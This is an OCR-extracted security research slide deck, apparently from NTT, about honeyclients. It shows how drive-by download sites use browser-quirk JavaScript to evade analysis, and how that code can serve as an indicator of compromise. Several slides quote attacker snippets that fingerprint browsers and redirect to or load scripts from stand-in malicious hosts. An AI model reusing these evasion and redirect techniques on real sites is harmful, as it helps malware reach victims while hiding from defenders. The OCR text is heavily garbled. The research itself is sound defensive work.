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Evolving web-based threats

B Symantec blocked over 1M web attacks/day in April 2017[1]
B Automated attacks and malware distributions using exploit kits

Malware,
CXTE—
SR Web access ; Adware,
QILI-EGALQ ’ Malicious extensions,
< Attack - e

Vulnerable | Malware download / install 1
browser )
@_< Malicious

website

[1] Symantec Security Response, “Latest Intelligence for April 2017,
https://www.symantec.com/connect/blogs/latest-intelligence-april-2017
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Countermeasure

m Blacklist based on security intelligence

e Collect URLs/exploit code/malware by crawling malicious websites
with decoy systems, called “honeyclients”

Enhance
security
intel.

i Collect security intelligence o
Honeyclient

(Client Honeypot)

(o0 |
L (] . . .
Analyze malicious websites PIiLecALD

Security
Appliance
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Honeyclient operation at NTT

m Access URLs listed on public/commercial blacklists using
both high- and low-interaction honeyclients at NTT

e Two complementary honeyclients improve overall analysis capabilities

Our high-interaction honeyclient!!! plays
a role in accurately detecting browser
exploitations by monitoring vulnerable functions.

Our low-interaction honeyclient!?] plays

High-interaction,
l.e., real browser
a role in collecting detailed information, e.qg.,

redirection chains and ]S execution trace. Low- mteractlon
14

i.e., browser emulator

[1] M. Akiyama et al., “Client Honeypot Multiplication with High Performance and Precise Detection,” IEICE Trans., Vol.ES8.D, No.4, 2015.
[2] Y. Takata et al., “MineSpider: Extracting Hidden URLs Behind Evasive Drive-by Download Attacks,” IEICE Trans., Vol.E99.D, No.4, 2016.
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Environment-dependent redirection

m Abuse of browser fingerprinting
e Technique of identifying clients, e.g., OSes and browsers
e Attackers abuse it for identification of vulnerable clients

20N 5 :
Attack target a_ﬁ..:é.g< Attacked > =, _redrected YN

|
£

U ———— — =)
’\ —— NOT redirected
Not target Fv <Not attacked> Landing
EEm website
var ua = navigator.userAgent; Exploit code corresponding to
if(ua.indexOf(“MSIE 8”) > -1) { the UserAgent, i.e., IE8, will be
var ifr = document.createElement("iframe"); <:,§]executed in the destination URL

ifr.setAttribute("src", “http://mal.example/ua="+ ua);
document.body.appendChild(ifr);

}
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Evasive code

m Sophisticated browser fingerprinting

e Abuse differences among JavaScript implementations
rather than simply check the User-Agent strings

setTimeout(10); L Newer real browsers can execute

url = "http://DOMAIN.ru/js/jquery.min.php"; <<~ setTimeout() w/ one integer argument.
document.write("<script type=‘text/javascript’ | |Such browser quirks make low-interaction
src=“"+url+”’ ></script>"); honeyclient analysis impossible.

e The first argument of setTimeout () is a function or code snippet

var timeoutID = scope.setTimeout(function[, delay, paraml, paramZ2,

oo 1D

var timeoutID = scope.setTimeout(function[, delay]);
var timeoutID = scope.setTimeout(code[, delay]);

https://developer.mozilla.org/en-US/docs/Web/API/WindowTimers/setTimeout
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We assumed that attackers use evasive code
for preventing our analysis using
low-interaction honeyclients.
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Challenge: Discovery of evasive code

m Discover evasive code by leveraging redirection
differences between both honeyclients

e Objective: Improve analysis capabilities of low-interaction
honeyclients on the basis of findings

-

High-interacti —r— :
Honeycliec:;q\ OWEBSITE redirected

w| s Ve

Low-interaction
Honeyclient:
The same User-Agent strings,
but the implementation is
different from a real browser.
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Discovery process

1. Extraction of evasive code candidate

e Extract JavaScript code by analyzing differences between
HTTP transactions (req/res) obtained by two types of clients

2. Classification of evasive code candidate
e Cluster extracted JS code for further manual analysis

3. Manual analysis of evasive code candidate
e Identify evasion techniques abused in JS code

Fth-kteracUon<£§g;E
Honeyclient HTTP @ IS Code @ ]S Code | Classified
Low—interaction Trafﬂc Pair Extraction Classificatlon JS Code

Honeyclient
Y @ Manual
Analysis
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Extraction of evasive code

m Differential analysis of redirect graphs

e Extract evasive code candidates by leveraging accessed URL
mismatches in the HTTP traffic pair due to the evasion nature

e These graphs are built on the basis of HTTP headers and bodies

Redirect graph constructed Redirect graph constructed
using high-interaction honeyclient using low-interaction honeyclient

URLZ2

» URL5 | Malicigus URL URL3 [(— URL5
/ » URL6 URL?7 URL4 [— URL6
Malicious Path URLS Candidate URL '| URLS
_—

Extract JS code executed
in the candidate URL
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Classification of evasive code

m Clustering extracted JS code on the basis of the code
similarity
e “Execution path change” = “Control flow change”
e Extract sequences related to control flow change by AST" analysis

e Calculate the similarity between sequences by LCS™
var hoge = “test”; > Extracted sequence

CodeSimilarity(S1,S2) =

function get() {
varr =*“", p = “payload”;

FunctionDeclaration

for (var i=0; i<p.length; i++) { ForStatement len(LCS(S1,S2))

r += convert(p [i]); ReturnStatement max(len(S 1), len(S5))
3 IfStatement
return r;

) NS

if (hoge =="test”) { -
| bar 3 get(); Code clustering by DBSCAN
30} }

. - * AST: Abstract Syntax Tree
June 24-29, 2018 LCS: Long Common Subsequence
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Dataset
B Collected a dataset of 20,272 HT TP traffic pairs detected

from 2012 to 2016 at NTT Labs
Number of HTTP traffic pairs collected as dataset

Total 20,272
HTTP traffic of real browsers w/o malicious paths 459
HTTP traffic of browser emulator w/ malicious URLs | 18,497
HTTP traffic pairs of analysis targets 1,166

m My differential analysis extracted 2,410 pieces of
JavaScript code from the 1,166 HTTP traffic pairs
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Discovery results of evasive code

m 57 clusters were formed

m 5 evasion techniques that abuse differences among
JavaScript implementations

e [ found the following evasive code by manually analyzing one
representative point in each cluster

Evasion techniques Evasive code

Use of original object window.sidebar
Difference in array processing [“a@”"b” ].length
Difference in string processing “\v'=="v"
Difference in setTimeout() processing setTimeout(10)
Difference in parselnt() processing parselnt(“0123")
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Case study 1/5

e = (T e e ), m Use of original object:
for (i = ws; i < ary.length; i++) { _ ]
if (%2 ==0) { | +[window.sidebar]
S T oo romichartodetarylil) e Firefox-specific object
> e Only Firefox returns NaN,
; the other browsers return 0
TTT= T e )H%= ;

) Windows ’ Windows’ Internet C L f
© irtemet Explorers GEprorer9 S, Explorer @ Flrgmfﬁ? X

B © rF12 V- Lr'BGEICEREN TS
: . — SOVTRGRIEORECEIR | (+[window.sidebar]);
>> (+[window.sidebar]); >> (+[window.sidebar]); )

o 5 € NaN

N N

The other browsers return 0 Only Firefox returns NaN
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Case study 2/5

| =["rv:117% "MSIE", L.length; | @ Difference in array processing:

ua = navigator.userAgent;

for (i=0;i<li++){ ["a","b",].length
if (ua. mdexOf(ary[l])'——-l) {
... snipped:redirect code ... e [Es before v9 return 3,
} the other browsers return 2
¥
7 1 A | 2000 = +—F [ESB) FEFa172F T =TT _"‘"’"' = )H%“ F f i
) i dows 1 Windows® Internet NTelrne g
@Internet Explorer§ ] \9 Explorer9 CvnlArar Irefox
- - - @r ® 50.0.2 FIRIER
al >3 11" "MSIE” ] leneth: |>> ["rv:11","MSIE",].length; >> ["rv:11","MSIE", ].length; I>> ("rv:117,"M5IE", ].1length;
|3 2 2 € 2
Only IE8 returns 3 The other browsers return 2
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Case study 3/5

var t1 —_ Il\vll —_— llvll; . = = = = :
SR ———— I?‘lffe”rence“ n string processing

var t3 = document["querySelector"]; \V —_—— v

o e — (1 88 1 86 5 A8 1t e IEs before v9 interpret a vertical tab
var b9 = t2 &8& !t1 && t4; “\v” as a simple character “v”

t7=t7>07? (b7 7?1: window["dummy"]) : 1;
t8=t8>07? (b8 7?1 : window["dummy"]) : 1;
t9=t9>07? (b9 7?1 : window["dummy"]) : 1;
[... snipped:redirect/exploit code ...]

'- snsosmener || 2 Internet | R Ejrafox
3 Windows' Internet . 7
f Windows ,@ I ) i f
‘elnternet Explorer@ 1 , y Exp|orer9 @» ® 5002 EHIEH
| BEEEE © F12 V- LNBGEICERENTTS Mmooy
N 1 3> "\yU=="y" >» "\wt=="y" & false
tﬁrue false false -
_/A\ _/A\
Only IES8 returns true The other browsers return false
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Case study 4/5

setTimeout(10); . |m Difference in method processing:
var url = "http://a.example/malicious.js"; )

document.write("<script setTimeout (10)

Sre="Hurl+ > </script>"); e IEs after v10, the latest Firefox can

execute the setTimeout() function
with one integer argument

] AT IS0 B RNET RO [ T | F i

f Windows 3 /_ WlndOWS Internet L » { Irefox

8 - = ... ; . w
3 Internet Explorer ’ Exp|orer9 \ & Bl ses2 Ewinss
o L O r12 VLY BEGEICETRENTIS »”  setTi (18);
A | >>setTimeout(10), | S setTimeout(10); ? _l i Fj : RS SerTAmeouELE
l@l Invalid argument. {@1 Invalid argument. ” ;etTlmeout(lB), -
IE8 and IE9 get an Newer browsers execute it
“Invalid Argument” error without errors
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Case study 5/5

if (parseInt(“01”+"2"+”3") === 83) { | @ Difference in method processing:

[... snipped:redirect code ...]

} parselInt (“0123")

e [Es before v8 interpret “0123" as octal,
the other browsers interpret “0123" as

decimal
) a Windows* Internet — L - --'- + - ¢
@i 1A emet { I'5 Firefox
nternet Explorer& C. o - :
- P I\},], EXplorer9 b Tl 50.0.2 EH1ER
A | >>parselnt(”" 01237 ); j >> parseInt("@123"); >> parselnt("0123"); i »? parselnt("@123");
ﬁ 123 123 &€ 123
Only IE8 interprets Other browsers interprets
“0123" as 83. “0123" as 123.
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Effectiveness as “I0C"”

“Can we use evasive code as I0C
to detect malicious websites?”

B Investigating 860K+URLs with Alexa Top domain names

e The setTimeout() evasive code was detected in 26 URLs,

all of them were used in compromised websites

by a mass injection campaign, called “Fake jQuery injections”l1]
e The other evasion techniques were used unintentionally

or were no longer used

Evasive code is easily pervasive via
attack campaigns and exploit kits

[1] “jQuery.min.php Malware Affects Thousands of Websites”,
https://blog.sucuri.net/2015/11/jquery-min-php-malware-affects-thousands-of-websites.html
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Summary

m Previously unknown evasion techniques were discovered
using high- and low-interaction honeyclients

e Evasive code can be used as IOC to detect compromised websites

m Against attack sophistication, it is important to know the
existence of evasion techniques and share them

,\ ) — o |t ot ) B s
V- Y ] /7 Windows'Internet - nernet ! Firefox i
Internet Explorer8 {1 | " Explorer £ :
nternet explorer < X Orer . ‘
& , A p g T 50.0.2 FH1EH ¢
a | >>(+[window sidebar]) | . : © F12 V- LN RECGEIICERRENZES » (+[window.sidebar]);
0 >> (+[window.sidebar]); >> (+[window.sidebar]); € NaN
9 I
[ rv: 117 " MSIE” ] length; . R @ » ["rvill","MSIE",].length;
] >> ["rv:11","MSIE",].length; >> ["rv:11","MSIE",].length; ¢ -
— 2
w nr___.'rwn' 2 - PR
>> ¥l'-" m—— 3 u\vu==uvu . "\V"=="v" » \WWi=="V
true | false falee € false
>>\setTnneout(10): >> setTimeout(10); >> setTimeout(10); » setTimeout(1@);
@Ilnvalid argument. &9 Invalid argument. 3 € 3
>>parselnt(” 01237); >> parseInt("@123"); >> parseInt("0123"); » parseInt("@123");
83 123 123 € 123
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Appendix
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Manual Analysis

m Step execution using JavaScript interpreter

e Mainly set breakpoints to, e.g., conditional branches and loops
using developer tools of IE/Chrome/Firefox

Paused in debugger Ip %

Developer Tools - https://www.first.org/conference/2018/program

You can stop js-exec at a
breakpoint and look at the call
stack and the variable values.

[ NON ]
[w ﬂ Elements Console Network Sources Performance Security Adblock Plus Memory Application  Audits

Network ' Filesystem > : | [[4] conf2018b.js?20...3447:formatted x b, 1t > ve O

v [ top 1| /=!FIRST*/ O Paused on breakpoint
2| (function() {

v O www.first.org 3 var T = 21200
v 4 , sT = 0;
N e/eonf2018 5 function rnd(min, max) { min = @, max = 3 v Call Stack
con — -
o Lt —Breturn Hath. ekt R e 1 NP < o P R » md conf2018b.js720...47-formatted:6
. img g funct_fior(\ _F?nc{SQWSLide() { randomSlide conf2018b.js?20...7:formatted: 14
1 s
conf2018 /5720180523218 12 ) clearTimeout(sT) setTimeout (async)
30th ANNUAL FIRST conf2018b.js?720180214183¢ 12 var L = document.querySelectorAll("#header .layer") I conf2018bs720...7:formatted:28
[ conf2018.css720180522142 1 P L 1) setTimeout (async)
KUA LA LL v [ conference/2018 15 vn=10 randomSlide conf2018b.js?20...7:formatted:28
i program 1_6] ) ? = :Oi::;:;:querySelectorAll("#header .layer.active") setTimeout (async)
’ - . ’
» ¢ (no domain) 18 while (i > 1 & L[c].className.search(/\bactive\b/) > -1 && n—-) randomSlide conf2018b.js?20...7:formatted:28
19 = rnd(@, 1 -1
20 } ¢ = rndle, 1 ) (anonymous) conf2018b.js?20...7:formatted:30
%% t#i{:(‘?ff"‘i“‘g)": " active next"; (anonymous) conf2018b.js?20...7:formatted:32
Ice Progra 23 if (aljl.className.search(/\bnext/) < @) { v Scope
24 aljl.className = a[j].className. replace(/\s*=\bactive\b/,
25 } ¥ Local
the additional programming L% f 26 } max: 3
27 Llc).className = L[c].className.replace(/\s*\bnext\b/, ""); min: @
gg , sT = setTimeout(randomSlide, 21008) » this: Window
agenda. Agenda is subject to cl o ’ andonSLide() » Closure
Line 6, Column 9 » Global Window
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Evasion techniques come and go

® Timeline analysis of evasive code
e We discovered the setTimeout() and ["”,].length evasion

/

techniques have been abused in the recent attack campaignl!-?
e The parselnt() evasion technique was obsolete

We need to implement decoy systems
compatible to at least these

parselnt() i z' % | 2
M\ ==ty [T /
1 : ‘ A, ‘
setTimeout(10) - { [ B VEEVIVIN: OGS ]
[“"] + sidebar T 1 — B R e S
ll T T T T T T
Apr-2012 Oct-2015 Nov-2015 Dec-2015 Jan-2016 Jan-2016 Mar-2016

[1] D. Sinegubko, “jQuery.min.php Malware Affects Thousands of Websites”
[2] Y. Zhou and W. Xu, “Angler Exploit Kit Continues to Evade Detection: Over 90,000 Websites Compromised”
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